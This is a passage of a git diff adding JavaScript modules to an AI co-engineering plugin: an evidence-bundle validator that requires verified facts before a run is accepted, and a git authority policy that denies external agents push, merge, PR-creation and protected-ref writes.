factIds.add(facts[index].fact_id); + for (let index = 0; index < discrepancies.length; index += 1) { + const discrepancy = discrepancies[index]; + const field = `${path}.discrepancies`; + for (let c = 0; c < discrepancy.claim_ids.length; c += 1) { + if (!claimIds.has(discrepancy.claim_ids[c])) { + fail('identity_mismatch', `${field}[${index}].claim_ids[${c}]`, + `${field}[${index}].claim_ids[${c}] does not resolve to a claim identity.`); + } + } + for (let f = 0; f < discrepancy.fact_ids.length; f += 1) { + if (!factIds.has(discrepancy.fact_ids[f])) { + fail('identity_mismatch', `${field}[${index}].fact_ids[${f}]`, + `${field}[${index}].fact_ids[${f}] does not resolve to a fact identity.`); + } + } + } +} + +function assertClaimFactLinks(claims, facts, discrepancies, path) { + for (let index = 0; index < claims.length; index += 1) { + const claim = claims[index]; + const matches = matchingFacts(claim, facts); + for (let m = 0; m < matches.length; m += 1) { + const fact = matches[m]; + if (claimComparable(claim) === factComparable(fact)) continue; + let linked = false; + for (let d = 0; d < discrepancies.length; d += 1) { + const discrepancy = discrepancies[d]; + if (discrepancy.discrepancy_kind !== 'mismatch') continue; + if (linkedPair(discrepancy, claim.claim_id, fact.fact_id)) { + linked = true; + break; + } + } + if (!linked) { + fail('invalid_format', path, + `${path} preserves both the claim and the contradicting fact only when a mismatch discrepancy links their identities.`); + } + } + } +} + +function assertIdentityBinding(record, runId, assignmentId, path) { + if (record.run_id !== runId || record.assignment_id !== assignmentId) { + fail('identity_mismatch', path, + `${path} identity drifted from the enclosing evidence bundle.`); + } +} + +function isCompleteVerified(fact) { + return fact.status === 'verified' && fact.truncated === false; +} + +function assertAcceptedState(bundle, path) { + if (!capturedIncludes(ACCEPTED_FINAL_STATES, bundle.final_state)) return; + if (bundle.discrepancies.length > 0) { + fail('unproven_accepted_state', `${path}.final_state`, + `${path}.final_state cannot be accepted, verified, or pass while a discrepancy remains recorded.`); + } + let verifiedCount = 0; + for (let index = 0; index < bundle.facts.length; index += 1) { + const fact = bundle.facts[index]; + if (fact.status === 'truncated' || fact.truncated === true) { + fail('truncated_required_fact', `${path}.facts`, + `${path}.final_state requires complete facts; truncated facts cannot justify acceptance.`); + } + if (fact.fact_kind === 'artifact_integrity' && fact.payload.result !== 'match') { + fail('unproven_accepted_state', `${path}.final_state`, + `${path}.final_state cannot pass while an artifact integrity fact reports mismatch.`); + } + if (!isCompleteVerified(fact)) { + fail('unproven_accepted_state', `${path}.final_state`, + `${path}.final_state requires verified facts; partial, failed, or unknown facts cannot justify acceptance.`); + } + verifiedCount += 1; + } + if (verifiedCount === 0) { + fail('unproven_accepted_state', `${path}.final_state`, + `${path}.final_state cannot be justified by provider claims alone.`); + } + for (let index = 0; index < bundle.claims.length; index += 1) { + const claim = bundle.claims[index]; + if (claim.status === 'unsupported') { + fail('unproven_accepted_state', `${path}.final_state`, + `${path}.final_state cannot be accepted while an unsupported claim remains.`); + } + if (!isSuccessClaim(claim)) continue; + const matches = matchingFacts(claim, bundle.facts); + let justified = false; + for (let m = 0; m < matches.length; m += 1) { + if (isCompleteVerified(matches[m]) && claimComparable(claim) === factComparable(matches[m])) { + justified = true; + break; + } + } + if (!justified) { + fail('unproven_accepted_state', `${path}.final_state`, + `${path}.final_state requires a matching verified fact for every provider success claim.`); + } + } +} + +export function parseEvidenceBundleV1(input, path = 'evidence_bundle') { + assertPlainObject(input, 'invalid_type', path, `${path}`); + assertDirectJsonClosure(input, path); + assertEvidenceBounds(input, path); + assertAllowedKeys(input, BUNDLE_ALLOWED_KEYS, path); + requiredKeys(input, BUNDLE_REQUIRED_KEYS, path); + + const schema = optOwn(input, 'schema'); + if (schema !== EVIDENCE_BUNDLE_SCHEMA_ID) { + fail('invalid_format', `${path}.schema`, + `${path}.schema must be exactly "${EVIDENCE_BUNDLE_SCHEMA_ID}".`); + } + const version = optOwn(input, 'version'); + if (version !== EVIDENCE_BUNDLE_VERSION) { + fail('invalid_format', `${path}.version`, + `${path}.version must be exactly ${EVIDENCE_BUNDLE_VERSION}; additive versions cannot rewrite v1 bytes.`); + } + const runId = optOwn(input, 'run_id'); + assertRunId(runId, `${path}.run_id`); + const requestId = optOwn(input, 'request_id'); + assertRunId(requestId, `${path}.request_id`); + const assignmentId = optOwn(input, 'assignment_id'); + if (!isAssignmentId(assignmentId)) { + fail('invalid_format', `${path}.assignment_id`, + `${path}.assignment_id violates the assignment-id grammar.`); + } + const provider = optOwn(input, 'provider'); + if (!isKnownProvider(provider)) { + fail('invalid_format', `${path}.provider`, + `${path}.provider must be one of ${knownProvidersJoined()}.`); + } + const model = optOwn(input, 'model'); + if (!isModelId(model)) { + fail('invalid_format', `${path}.model`, + `${path}.model violates the accepted model-id grammar.`); + } + const repository = parseRepository(input, `${path}.repository`); + const candidate = parseCandidate(input, `${path}.candidate`); + const sequence = assertSequence(optOwn(input, 'sequence'), `${path}.sequence`); + const recordedAt = parseOptionalTimestamp(input, path); + const finalState = assertEnum( + optOwn(input, 'final_state'), FINAL_STATES, 'unknown_final_state', `${path}.final_state`, 'final state', + ); + + const claims = parseRecordList(input, 'claims', path, MAX_CLAIMS, parseProviderClaimV1, 'claim_id'); + const facts = parseRecordList(input, 'facts', path, MAX_FACTS, parseVerifiedFactV1, 'fact_id'); + const discrepancies = parseRecordList( + input, 'discrepancies', path, MAX_DISCREPANCIES, parseEvidenceDiscrepancyV1, 'discrepancy_id', + ); + const artifacts = parseArtifactSnapshots(input, path, runId, assignmentId); + const artifactMap = artifactByDigest(artifacts); + + for (let index = 0; index < claims.length; index += 1) { + const claim = claims[index]; + const field = `${path}.claims[${index}]`; + assertIdentityBinding(claim, runId, assignmentId, field); + resolveDigests(claim.artifact_digests, artifactMap, field, 'provider', true); + } + for (let index = 0; index < facts.length; index += 1) { + const fact = facts[index]; + const field = `${path}.facts[${index}]`; + assertIdentityBinding(fact, runId, assignmentId, field); + const allowEmpty = fact.status === 'unknown' || fact.status === 'failed'; + resolveDigests( + fact.artifact_digests, artifactMap, field, + 'proof', + allowEmpty && fact.fact_kind !== 'model_attested', + ); + if (fact.fact_kind === 'git_identity' && fact.payload.base_sha !== repository.base_sha) { + fail('stale_fact', `${field}.payload.base_sha`, + `${field}.payload.base_sha does not match the bundle repository base.`); + } + } + for (let index = 0; index < discrepancies.length; index += 1) { + const discrepancy = discrepancies[index]; + const field = `${path}.discrepancies[${index}]`; + assertIdentityBinding(discrepancy, runId, assignmentId, field); + resolveDigests(discrepancy.artifact_digests, artifactMap, field, null, true); + } + assertLinkedIdentities(discrepancies, claims, facts, path); + assertClaimFactLinks(claims, facts, discrepancies, path); + + const values = { + schema: EVIDENCE_BUNDLE_SCHEMA_ID, + version: EVIDENCE_BUNDLE_VERSION, + run_id: runId, + request_id: requestId, + assignment_id: assignmentId, + provider, + model, + repository, + sequence, + final_state: finalState, + claims, + facts, + discrepancies, + artifacts, + }; + if (candidate !== undefined) values.candidate = candidate; + if (recordedAt !== undefined) values.recorded_at = recordedAt; + const snapshot = freezeRecord(BUNDLE_ALLOWED_KEYS, values); + assertAcceptedState(snapshot, path); + const canonical = canonicalJsonStringify(snapshot); + if (BUFFER_FROM(canonical, 'utf8').length > MAX_BUNDLE_CANONICAL_BYTES) { + fail('out_of_range', path, + `${path} canonical bytes exceed ${MAX_BUNDLE_CANONICAL_BYTES}.`); + } + return snapshot; +} + +export function canonicalEvidenceBundleJsonV1(input, path = 'evidence_bundle') { + return canonicalJsonStringify(parseEvidenceBundleV1(input, path)); +} + +export function evidenceBundleDigestV1(input, path = 'evidence_bundle') { + const snapshot = parseEvidenceBundleV1(input, path); + const canonical = canonicalJsonStringify(snapshot); + const canonicalBytes = BUFFER_FROM(canonical, 'utf8'); + const descriptor = identityDigestV1(EVIDENCE_DIGEST_LABEL, [canonicalBytes]); + return capturedFreeze({ + algorithm: DIGEST_ALGORITHM, + domain: IDENTITY_DOMAIN, + version: IDENTITY_VERSION, + label: EVIDENCE_DIGEST_LABEL, + input_bytes: canonicalBytes.length, + digest: descriptor.digest, + }); +} + +export function verifyEvidenceBundleDigestV1(input, expectedDigestHex, path = 'evidence_bundle') { + if (typeof expectedDigestHex !== 'string' + || expectedDigestHex.length !== EVIDENCE_DIGEST_HEX_LENGTH + || !testPattern(PRIVATE_SHA256_PATTERN, expectedDigestHex)) { + return false; + } + const actual = evidenceBundleDigestV1(input, path).digest; + return TIMING_SAFE_EQUAL(BUFFER_FROM(actual, 'hex'), BUFFER_FROM(expectedDigestHex, 'hex')) === true; +} + +export const EVIDENCE_CONTRACT_DESCRIPTOR = capturedFreeze({ + schema: EVIDENCE_BUNDLE_SCHEMA_ID, + version: EVIDENCE_BUNDLE_VERSION, + label: EVIDENCE_DIGEST_LABEL, + bounds: capturedFreeze({ + max_depth: MAX_EVIDENCE_DEPTH, + max_nodes: MAX_EVIDENCE_NODES, + max_claims: MAX_CLAIMS, + max_facts: MAX_FACTS, + max_discrepancies: MAX_DISCREPANCIES, + max_artifacts: MAX_EVIDENCE_ARTIFACT_REFS, + max_canonical_bytes: MAX_BUNDLE_CANONICAL_BYTES, + }), +}); + +export { RunContractV1Error as EvidenceContractV1Error }; +export { ARTIFACT_REF_SCHEMA_ID }; diff --git a/plugins/codex-co-engineer/mcp/v3/future-harness.mjs b/plugins/codex-co-engineer/mcp/v3/future-harness.mjs new file mode 100644 index 0000000..2dea529 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/future-harness.mjs @@ -0,0 +1,29 @@ +// P22 Future-harness public index. +// +// Re-exports the inert ProviderDriverV1 template/scaffold. This file is not +// a P17 registry, supervisor cutover, or fifth provider. Future harnesses +// import this surface or the template module directly. + +export { + FUTURE_HARNESS_BRANCH_PATTERN, + FUTURE_HARNESS_FAIL_CLOSED_FEATURES, + FUTURE_HARNESS_IDENTITY_KEYS, + FUTURE_HARNESS_REQUEST_ID_PATTERN, + FUTURE_HARNESS_TEMPLATE_OPTION_KEYS, + FUTURE_HARNESS_TEMPLATE_SCHEMA_ID, + FUTURE_HARNESS_TEMPLATE_VERSION, + bindFutureHarnessDriverTemplateV1, + createFutureHarnessDriverTemplateV1, + describeFutureHarnessDriverTemplateV1, + inspectFutureHarnessTemplateBindingV1, + validateFutureHarnessIdentityV1, +} from './provider-driver-template.mjs'; + +export { + FUTURE_HARNESS_CONFORMANCE_SCHEMA_ID, + FUTURE_HARNESS_CONFORMANCE_VERSION, + FUTURE_HARNESS_LEAK_PATTERN, + assertFutureHarnessContentFreeV1, + describeFutureHarnessConformanceKitV1, + runFutureHarnessConformanceKitV1, +} from './provider-driver-conformance.mjs'; diff --git a/plugins/codex-co-engineer/mcp/v3/git-authority.mjs b/plugins/codex-co-engineer/mcp/v3/git-authority.mjs new file mode 100644 index 0000000..4826ed8 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/git-authority.mjs @@ -0,0 +1,775 @@ +// GitAuthorityPolicyV1 — closed immutable Git authority policy (P28; +// ADR 0001 `codex_only_final_acceptance`, `run_owned_candidate_ref_namespace`, +// `gate_a_no_protected_ref_mutation`). +// +// Additive v3 static law: protected/default refs, the allowed task-branch +// namespace, credential-free repository/ref identity, tri-class +// classification, and operation authority. External agents never merge, +// rebase, push, create PRs, mutate protected/default refs, create +// tags/releases, or obtain credential/remote mutation authority. No Git +// mutation, no P29 credential/remote I/O, no P30 audit. Policy plus +// detection is not containment. Receipts never echo repository paths, +// URLs, credentials, provider text, or hostile refs. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { createHash } from 'node:crypto'; + +import { + CAPABILITY_RECORD_ALLOWED_KEYS, + CREATE_PR_POSTURES, + MERGE_AUTHORITIES, + PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, +} from './capability-bridge.mjs'; +import { capturedFreeze, capturedIncludes, capturedTest, isKnownProvider } from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { + RunContractV1Error, + assertBaseSha, + assertRepositoryPath, + assertRunId, + isAssignmentId, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + freezeData, + hasOwn, + optOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const GIT_AUTHORITY_SCHEMA_ID = 'codex-co-engineer.git-authority.v1'; +export const GIT_AUTHORITY_POLICY_SCHEMA_ID = 'codex-co-engineer.git-authority-policy.v1'; +export const GIT_AUTHORITY_VERSION = 1; + +export const REF_CLASS_VALUES = capturedFreeze([ + 'platform_run_owned', 'unclassified', 'user_protected', 'worker_lane', +]); +export const ACTOR_VALUES = capturedFreeze(['codex', 'platform', 'worker']); +export const AUTHORITY_VERDICTS = capturedFreeze(['allowed', 'denied']); +export const ALLOWED_OPERATIONS = capturedFreeze([ + 'commit_on_lane_branch', 'compose_candidate_non_authoritative', + 'create_lane_branch', 'read_only_inspect', +]); +export const DENIED_OPERATIONS = capturedFreeze([ + 'create_pr', 'credential_helper', 'delete_ref', 'fetch', 'force_push', + 'merge', 'merge_pr', 'protected_ref_update', 'pull', 'push', 'rebase', + 'release_create', 'remote_mutate', 'tag_create', 'tag_delete', +]); +export const GIT_OPERATIONS = capturedFreeze([...ALLOWED_OPERATIONS, ...DENIED_OPERATIONS]); +export const MAX_AUTHORITY_OBJECT_KEYS = 32; +export const MAX_AUTHORITY_KEY_BYTES = 128; +export const MAX_REF_BYTES = 200; +export const MAX_REF_SEGMENTS = 8; +export const MAX_HISTORY_COMMITS = 256; +export const MAX_PARENT_COUNT = 16; +export const LANE_DIGEST_PREFIX_LENGTH = 16; +export const MANIFEST_DIGEST_HEX_LENGTH = 64; +export const DEFAULT_BRANCH_NAMES = capturedFreeze(['main', 'master']); +export const LANE_BRANCH_NAMESPACE = 'codex/run-'; +export const LANE_REF_PREFIX = 'refs/heads/codex/run-'; +export const CANDIDATE_REF_NAMESPACE = 'refs/codex-co-engineer/runs/'; +export const CANDIDATE_REF_LEAF = 'candidate'; +export const HEADS_PREFIX = 'refs/heads/'; + +const DIGEST_PATTERN = /^[0-9a-f]{64}$/u; +const BRANCH_SEGMENT_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$/u; +const LANE_BRANCH_PATTERN = /^codex\/run-[0-9a-f]{16}\/[a-z][a-z0-9-]{0,63}$/u; +const LANE_REF_PATTERN = /^refs\/heads\/codex\/run-[0-9a-f]{16}\/[a-z][a-z0-9-]{0,63}$/u; +const CANDIDATE_REF_PATTERN = /^refs\/codex-co-engineer\/runs\/[a-z][a-z0-9-]{2,63}\/candidate$/u; +const SAFE_REF_PATTERN = /^refs\/[A-Za-z0-9][A-Za-z0-9._-]{0,63}(?:\/[A-Za-z0-9][A-Za-z0-9._-]{0,63}){0,7}$/u; +const SHA40_PATTERN = /^[0-9a-f]{40}$/u; + +export const POLICY_ALLOWED_KEYS = capturedFreeze([ + 'candidate_ref_leaf', 'candidate_ref_namespace', 'default_branch_names', + 'lane_branch_namespace', 'lane_digest_prefix_length', 'lane_ref_prefix', + 'manifest_digest_hex_length', 'max_history_commits', 'max_parent_count', + 'max_ref_bytes', 'max_ref_segments', 'schema', 'user_protected_ref_prefixes', + 'version', +]); +export const IDENTITY_ALLOWED_KEYS = capturedFreeze([ + 'assignment_id', 'base_sha', 'head_sha', 'repository_path', 'run_id', +]); +export const IDENTITY_REQUIRED_KEYS = capturedFreeze([ + 'assignment_id', 'base_sha', 'repository_path', 'run_id', +]); +export const REF_REQUEST_ALLOWED_KEYS = capturedFreeze([ + 'default_branch', 'identity', 'init_default_branch', 'manifest_digest_hex', + 'origin_head_branch', 'ref', +]); +export const BRANCH_REQUEST_ALLOWED_KEYS = capturedFreeze([ + 'assignment_id', 'manifest_digest_hex', 'run_id', +]); +export const HISTORY_ALLOWED_KEYS = capturedFreeze(['parent_counts']); +export const POSTURE_ALLOWED_KEYS = capturedFreeze([...CAPABILITY_RECORD_ALLOWED_KEYS, 'schema']); +export const OPERATION_REQUEST_ALLOWED_KEYS = capturedFreeze([ + 'actor', 'capability', 'default_branch', 'history', 'identity', + 'init_default_branch', 'manifest_digest_hex', 'operation', + 'origin_head_branch', 'ref', 'schema', 'version', +]); +export const OPERATION_REQUEST_REQUIRED_KEYS = capturedFreeze([ + 'actor', 'identity', 'operation', 'schema', 'version', +]); +export const EVIDENCE_CONTEXT_ALLOWED_KEYS = capturedFreeze([ + 'discrepancy_id', 'fact_id', 'sequence', +]); +export const RECEIPT_KEYS = capturedFreeze([ + 'actor', 'assignment_id', 'base_sha', 'code', 'default_branch_target', + 'message', 'operation', 'path', 'ref_class', 'run_id', 'schema', + 'verdict', 'version', +]); +export const RECEIPT_REQUIRED_KEYS = RECEIPT_KEYS; + +export const GIT_AUTHORITY_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'aliased_reference_denied', + 'authority_identity_invalid', 'authority_posture_mismatch', + 'branch_namespace_violation', 'credential_content_denied', + 'default_branch_target_denied', 'exotic_prototype_denied', + 'invalid_format', 'invalid_type', 'merge_authority_denied', + 'merge_history_denied', 'missing_key', 'non_enumerable_property_denied', + 'out_of_range', 'own_undefined_denied', 'protected_ref_write_denied', + 'proxy_denied', 'push_authority_denied', 'symbol_key_denied', + 'unknown_git_operation', 'unknown_key', 'value_depth_exceeded', +]); + +const DEFINE = Object.defineProperty; +const OBJECT_IS = Object.is; +const IS_INT = Number.isSafeInteger; +const STRING = String; +const BYTE_LENGTH = NodeBuffer.byteLength.bind(NodeBuffer); +const IS_ARRAY = Array.isArray; +const OWN_KEYS = Reflect.ownKeys; +const SET_CTOR = Set; +const HASH = createHash; +const HASH_DIGEST = Object.getPrototypeOf(HASH('sha256')).digest; +const HASH_UPDATE = Object.getPrototypeOf(HASH('sha256')).update; +const WEAKSET_CTOR = WeakSet; +const TRUSTED_POLICY_RECEIPTS = new WEAKSET_CTOR(); +const WEAKSET_ADD = WEAKSET_CTOR.prototype.add; +const WEAKSET_HAS = WEAKSET_CTOR.prototype.has; + +const DENIED_OPERATION_CODES = capturedFreeze({ + create_pr: 'merge_authority_denied', + credential_helper: 'credential_content_denied', + delete_ref: 'protected_ref_write_denied', + fetch: 'push_authority_denied', + force_push: 'push_authority_denied', + merge: 'merge_authority_denied', + merge_pr: 'merge_authority_denied', + protected_ref_update: 'protected_ref_write_denied', + pull: 'push_authority_denied', + push: 'push_authority_denied', + rebase: 'merge_authority_denied', + release_create: 'protected_ref_write_denied', + remote_mutate: 'push_authority_denied', + tag_create: 'protected_ref_write_denied', + tag_delete: 'protected_ref_write_denied', +}); +const ACTOR_OPERATIONS = capturedFreeze({ + worker: capturedFreeze(['commit_on_lane_branch', 'create_lane_branch', 'read_only_inspect']), + platform: capturedFreeze(['compose_candidate_non_authoritative', 'read_only_inspect']), + codex: capturedFreeze(['read_only_inspect']), +}); +const RECORD_ID_PATTERN = /^[a-z][a-z0-9-]{0,63}$/u; + +const MSG = capturedFreeze({ + accessor_property_denied: 'GitAuthorityPolicyV1 denies accessor inputs.', + aliased_reference_denied: 'GitAuthorityPolicyV1 denies aliased inputs.', + authority_identity_invalid: 'GitAuthorityPolicyV1 rejected the credential-free repository identity.', + authority_posture_mismatch: 'GitAuthorityPolicyV1 rejected the merge or create-PR capability posture.', + branch_namespace_violation: 'GitAuthorityPolicyV1 rejected a branch namespace or ref-grammar attack.', + credential_content_denied: 'GitAuthorityPolicyV1 denies credentials and remote mutation material.', + default_branch_target_denied: 'GitAuthorityPolicyV1 denies default-branch and protected-target assignments.', + exotic_prototype_denied: 'GitAuthorityPolicyV1 denies exotic prototypes.', + invalid_format: 'GitAuthorityPolicyV1 rejected a value that violates a closed grammar.', + invalid_type: 'GitAuthorityPolicyV1 rejected a non-JSON authority value.', + merge_authority_denied: 'GitAuthorityPolicyV1 denies merge rebase and create-PR authority.', + merge_history_denied: 'GitAuthorityPolicyV1 denies merge commits and merge histories.', + missing_key: 'GitAuthorityPolicyV1 requires every canonical authority key.', + non_enumerable_property_denied: 'GitAuthorityPolicyV1 denies non-enumerable properties.', + out_of_range: 'GitAuthorityPolicyV1 rejected a value outside closed bounds.', + own_undefined_denied: 'GitAuthorityPolicyV1 denies own undefined values.', + protected_ref_write_denied: 'GitAuthorityPolicyV1 denies writes to protected or default refs.', + proxy_denied: 'GitAuthorityPolicyV1 denies Proxy inputs.', + push_authority_denied: 'GitAuthorityPolicyV1 denies push and remote mutation authority.', + symbol_key_denied: 'GitAuthorityPolicyV1 denies symbol keys.', + unknown_git_operation: 'GitAuthorityPolicyV1 denies unknown git operations.', + unknown_key: 'GitAuthorityPolicyV1 rejects keys outside the closed vocabulary.', + value_depth_exceeded: 'GitAuthorityPolicyV1 rejected nested input that exceeds closed depth.', + authority_ok: 'GitAuthorityPolicyV1 permits the requested git operation.', +}); + +function freezeRecord(keys, values) { + const snapshot = {}; + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + if (!Object.hasOwn(values, key)) continue; + DEFINE(snapshot, key, { value: values[key], enumerable: true, writable: false, configurable: false }); + } + return capturedFreeze(snapshot); +} + +function deny(code, path) { + fail(code, path, MSG[code] ?? MSG.invalid_format); +} + +function publicCode(error) { + if (error instanceof RunContractV1Error && capturedIncludes(GIT_AUTHORITY_ERROR_CODES, error.code)) { + return error.code; + } + return 'invalid_type'; +} + +function remap(error, path) { + deny(publicCode(error), path); +} + +function assertClosedObject(input, allowed, path) { + if (input === undefined || input === null) deny('invalid_type', path); + if (typeof input === 'object' || typeof input === 'function') { + try { assertNotProxy(input, path); } catch (error) { remap(error, path); } + } + if (typeof input !== 'object') deny('invalid_type', path); + try { + assertPlainObject(input, 'invalid_type', path, path); + } catch (error) { remap(error, path); } + let keys; + try { keys = OWN_KEYS(input); } catch { deny('invalid_type', path); } + if (keys.length > MAX_AUTHORITY_OBJECT_KEYS) deny('out_of_range', path); + const allowedSet = new SET_CTOR(allowed); + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + if (typeof key === 'symbol') deny('symbol_key_denied', path); + if (typeof key !== 'string' || BYTE_LENGTH(key, 'utf8') > MAX_AUTHORITY_KEY_BYTES) deny('out_of_range', path); + if (!allowedSet.has(key)) deny('unknown_key', path); + } + try { + assertDirectJsonClosure(input, path); + } catch (error) { remap(error, path); } + return input; +} + +function requireKeys(input, keys, path) { + for (let i = 0; i < keys.length; i += 1) { + if (!hasOwn(input, keys[i])) deny('missing_key', path); + } +} + +function assertExact(value, expected, path) { + if (IS_ARRAY(expected)) { + try { assertNotProxy(value, path); } catch (error) { remap(error, path); } + if (!IS_ARRAY(value) || value.length !== expected.length) deny('invalid_format', path); + for (let i = 0; i < expected.length; i += 1) { + let item; + try { item = ownDataValue(value, STRING(i), path); } catch (error) { remap(error, path); } + if (item !== expected[i]) deny('invalid_format', path); + } + return; + } + if (value !== expected) deny('invalid_format', path); +} + +function refGrammarDenied(value) { + if (typeof value !== 'string') return true; + const bytes = BYTE_LENGTH(value, 'utf8'); + if (bytes === 0 || bytes > MAX_REF_BYTES || value.normalize('NFC') !== value) return true; + if (value.includes('..') || value.includes('//') || value.includes('@{') || value.includes('@')) return true; + if (value.startsWith('/') || value.endsWith('/') || value.endsWith('.')) return true; + if (/[ \\~^:?*[]/.test(value)) return true; + const segments = value.split('/'); + if (segments.length < 2 || segments.length > MAX_REF_SEGMENTS || segments[0] !== 'refs') return true; + for (let i = 0; i < segments.length; i += 1) { + const segment = segments[i]; + if (segment.length === 0 || segment.startsWith('.') || segment.endsWith('.') || segment.endsWith('.lock')) { + return true; + } + if (i > 0 && !capturedTest(BRANCH_SEGMENT_PATTERN, segment)) return true; + } + for (let i = 0; i < value.length; i += 1) { + const code = value.charCodeAt(i); + if (code < 0x21 || code > 0x7e) return true; + } + return !capturedTest(SAFE_REF_PATTERN, value); +} + +function assertAsciiSegment(value, path) { + if (typeof value !== 'string') deny('invalid_type', path); + const bytes = BYTE_LENGTH(value, 'utf8'); + if (bytes === 0 || bytes > MAX_REF_BYTES || value.normalize('NFC') !== value) deny('out_of_range', path); + if (!capturedTest(BRANCH_SEGMENT_PATTERN, value)) deny('branch_namespace_violation', path); + return value; +} + +function bindOrThrow(label, path, fn) { + try { return fn(); } catch { deny(label, path); } +} + +function optionalSegment(input, key, path) { + if (!hasOwn(input, key)) return undefined; + return assertAsciiSegment(optOwn(input, key), `${path}.${key}`); +} + +export const GIT_AUTHORITY_POLICY_V1 = freezeData({ + schema: GIT_AUTHORITY_POLICY_SCHEMA_ID, + version: GIT_AUTHORITY_VERSION, + default_branch_names: [...DEFAULT_BRANCH_NAMES], + user_protected_ref_prefixes: capturedFreeze([ + `${HEADS_PREFIX}main`, `${HEADS_PREFIX}master`, 'refs/tags/', 'refs/notes/', 'refs/remotes/', + ]), + lane_branch_namespace: LANE_BRANCH_NAMESPACE, + lane_ref_prefix: LANE_REF_PREFIX, + lane_digest_prefix_length: LANE_DIGEST_PREFIX_LENGTH, + candidate_ref_namespace: CANDIDATE_REF_NAMESPACE, + candidate_ref_leaf: CANDIDATE_REF_LEAF, + manifest_digest_hex_length: MANIFEST_DIGEST_HEX_LENGTH, + max_ref_bytes: MAX_REF_BYTES, + max_ref_segments: MAX_REF_SEGMENTS, + max_history_commits: MAX_HISTORY_COMMITS, + max_parent_count: MAX_PARENT_COUNT, +}); +export const GitAuthorityPolicyV1 = GIT_AUTHORITY_POLICY_V1; +const POLICY_CANONICAL = canonicalJsonStringify(GIT_AUTHORITY_POLICY_V1); + +export function parseGitAuthorityPolicyV1(input) { + const path = 'policy'; + const object = assertClosedObject(input, POLICY_ALLOWED_KEYS, path); + requireKeys(object, POLICY_ALLOWED_KEYS, path); + for (const key of POLICY_ALLOWED_KEYS) { + assertExact(optOwn(object, key), GIT_AUTHORITY_POLICY_V1[key], `${path}.${key}`); + } + if (canonicalJsonStringify(object) !== POLICY_CANONICAL) deny('invalid_format', path); + return GIT_AUTHORITY_POLICY_V1; +} + +export function bindAuthorityIdentityV1(input) { + const path = 'identity'; + const object = assertClosedObject(input, IDENTITY_ALLOWED_KEYS, path); + requireKeys(object, IDENTITY_REQUIRED_KEYS, path); + bindOrThrow('authority_identity_invalid', `${path}.repository_path`, + () => assertRepositoryPath(optOwn(object, 'repository_path'), `${path}.repository_path`)); + const baseSha = optOwn(object, 'base_sha'); + bindOrThrow('authority_identity_invalid', `${path}.base_sha`, () => assertBaseSha(baseSha, `${path}.base_sha`)); + const runId = optOwn(object, 'run_id'); + bindOrThrow('authority_identity_invalid', `${path}.run_id`, () => assertRunId(runId, `${path}.run_id`)); + const assignmentId = optOwn(object, 'assignment_id'); + if (!isAssignmentId(assignmentId)) deny('authority_identity_invalid', `${path}.assignment_id`); + const values = { + schema: GIT_AUTHORITY_SCHEMA_ID, version: GIT_AUTHORITY_VERSION, repository_bound: true, + base_sha: baseSha, run_id: runId, assignment_id: assignmentId, + }; + if (hasOwn(object, 'head_sha')) { + const headSha = optOwn(object, 'head_sha'); + if (typeof headSha !== 'string' || !capturedTest(SHA40_PATTERN, headSha)) { + deny('authority_identity_invalid', `${path}.head_sha`); + } + values.head_sha = headSha; + } + return freezeRecord( + ['schema', 'version', 'repository_bound', 'base_sha', 'run_id', 'assignment_id', 'head_sha'], + values, + ); +} + +function assertBranchRequest(input) { + const path = 'branch'; + const object = assertClosedObject(input, BRANCH_REQUEST_ALLOWED_KEYS, path); + requireKeys(object, BRANCH_REQUEST_ALLOWED_KEYS, path); + bindOrThrow('invalid_format', `${path}.run_id`, () => assertRunId(optOwn(object, 'run_id'), `${path}.run_id`)); + const assignmentId = optOwn(object, 'assignment_id'); + if (!isAssignmentId(assignmentId)) deny('invalid_format', `${path}.assignment_id`); + const digest = optOwn(object, 'manifest_digest_hex'); + if (typeof digest !== 'string' || !capturedTest(DIGEST_PATTERN, digest)) deny('invalid_format', `${path}.manifest_digest_hex`); + return { assignmentId, digest }; +} + +export function expectedRunBranchNameV1(input) { + const { assignmentId, digest } = assertBranchRequest(input); + return `codex/run-${digest.slice(0, LANE_DIGEST_PREFIX_LENGTH)}/${assignmentId}`; +} + +export function expectedLaneRefV1(input) { + return `${HEADS_PREFIX}${expectedRunBranchNameV1(input)}`; +} + +export function expectedCandidateRefV1(input) { + const path = 'candidate'; + const object = typeof input === 'string' + ? assertClosedObject({ run_id: input }, ['run_id'], path) + : assertClosedObject(input, ['run_id'], path); + requireKeys(object, ['run_id'], path); + const runId = optOwn(object, 'run_id'); + bindOrThrow('invalid_format', `${path}.run_id`, () => assertRunId(runId, `${path}.run_id`)); + return `${CANDIDATE_REF_NAMESPACE}${runId}/${CANDIDATE_REF_LEAF}`; +} + +export function isValidRunBranchNameV1(name) { + return typeof name === 'string' + && BYTE_LENGTH(name, 'utf8') <= MAX_REF_BYTES + && name.normalize('NFC') === name + && capturedTest(LANE_BRANCH_PATTERN, name) + && !refGrammarDenied(`${HEADS_PREFIX}${name}`); +} + +export function isRunOwnedCandidateRefV1(ref, runId) { + if (typeof ref !== 'string' || typeof runId !== 'string') return false; + try { assertRunId(runId, 'run_id'); } catch { return false; } + return !refGrammarDenied(ref) + && ref === `${CANDIDATE_REF_NAMESPACE}${runId}/${CANDIDATE_REF_LEAF}` + && capturedTest(CANDIDATE_REF_PATTERN, ref); +} + +export function classifyRefV1(input) { + const path = 'ref_request'; + const object = assertClosedObject(input, REF_REQUEST_ALLOWED_KEYS, path); + requireKeys(object, ['ref'], path); + const refValue = optOwn(object, 'ref'); + if (typeof refValue !== 'string') deny('invalid_type', `${path}.ref`); + const identity = hasOwn(object, 'identity') ? bindAuthorityIdentityV1(optOwn(object, 'identity')) : undefined; + const protectedNames = new SET_CTOR(DEFAULT_BRANCH_NAMES); + for (const key of ['default_branch', 'origin_head_branch', 'init_default_branch']) { + const extra = optionalSegment(object, key, path); + if (extra !== undefined) protectedNames.add(extra); + } + let 